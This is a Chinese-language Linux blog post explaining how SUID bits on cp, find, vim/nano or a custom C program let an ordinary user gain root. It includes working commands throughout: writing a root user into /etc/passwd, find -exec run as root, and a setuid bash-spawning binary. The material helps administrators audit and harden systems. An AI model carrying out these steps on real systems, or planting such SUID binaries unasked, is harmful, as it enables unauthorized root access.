我之前写过一篇 文件权限与ACL 的文章,提到过了权限也提到了s权限位。对s权限没有了解的可以先看下这篇内容。本篇要提到的为root用户的suid,具体可以看下passwd命令对应的权限。如果一些命令给了s权限位以后,是可以进行提权操作。可使用如下命令以root用户执行查看当前具有s权限位的文件:

1find / -perm -u=s -type f 2>/dev/null

一、cp suid 示例

给 cp命令suid:

1[root@361way ~]# whereis cp
2cp: /usr/bin/cp /bin/cp /usr/share/man/man1/cp.1.gz /usr/share/man/man1p/cp.1p.gz
3[root@361way ~]# ll /usr/bin/cp
4-rwxr-xr-x 1 root root 151136 Aug  6  2016 /usr/bin/cp
5[root@361way ~]# chmod u+s /bin/cp

普通用户提权:

 1[zabbix@localhost ~]$ cat /etc/passwd >passwd
 2[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
 3$1$hack$WTn0dk2QjNeKfl.DHOUue0
 4[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
 5[zabbix@localhost ~]$ cp passwd /etc/passwd
 6[zabbix@localhost ~]$ su - hack
 7Password:
 8[root@361way ~]# id
 9uid=0(hack) gid=0(root) groups=0(root)
10[root@361way ~]# cat /etc/passwd|tail -1
11hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

cp-suid
cp-suid

同样的给awk、sed这类具有写文件权限的命令以suid权限,都可以造成提权。

二、find suid

给find命令提权后,可以利用其exec参数以root权限执行任意命令:

 1[root@361way ~]# which find
 2/usr/bin/find
 3[root@361way ~]# ll /usr/bin/find
 4-rwxr-xr-x. 1 root root 199200 Nov 20  2015 /usr/bin/find
 5[root@361way ~]# chmod u+s /usr/bin/find
 6[root@361way ~]# su - zabbix
 7[zabbix@361way ~]$ ll
 8total 8720
 9-rw-r--r-- 1 zabbix  zabbix     3006 Jan  2 15:00 passwd
10-rw-r--r-- 1 tcpdump tcpdump 8924686 Dec 13 16:56 test.cap
11[zabbix@361way ~]$ find passwd -exec "whoami" \;
12root
13[zabbix@361way ~]$ find ./ -name "passwd" -exec "id" \;
14uid=1003(zabbix) gid=1003(zabbix) euid=0(root) groups=1003(zabbix)

find-suid
find-suid

三、编辑器suid权限

linux下常用的编辑器有vim、Emacs、nano 。这里以vim和nano为例吧。

1[root@361way tmp]# which vim
2/usr/bin/vim
3[root@361way tmp]# ll /usr/bin/vim
4-rwxr-xr-x 1 root root 2294256 Apr 11  2018 /usr/bin/vim
5[root@361way tmp]# chmod u+s /usr/bin/vim
6[root@361way tmp]# su - zabbix
7[zabbix@361way ~]$ vim /etc/passwd
8[zabbix@361way ~]$ vim etc/sudoers

给vim suid权限后,意味着任一用户可以以root权限编辑任一文件,linux下本来一切皆文件,实际造成的结果是我们可以为所欲为,修改/etc/passwd,将一个用户提升为root权限,或者新增一个用户,或者修改sudo权限,增加nopasswd all的权限。

nano的效果也是一样的。

四、自定义命令 suid权限

如下一个自定义的C程序,代码如下:

 1[root@361way tmp]# cat a.c
 2#include <stdio.h>
 3#include <sys/types.h>
 4#include <unistd.h>
 5int main(void)
 6{
 7    setuid(0);
 8    system("/bin/bash");
 9    return 0;
10}

执行如下命令进行编译并授权后,直接可以切换root权限:

1[root@361way tmp]# gcc -o a a.c
2[root@361way tmp]# chmod u+s a
3[root@361way tmp]# su - zabbix
4[zabbix@361way tmp]$ ./a
5[root@361way tmp]# id
6uid=0(root) gid=0(root) groups=0(root)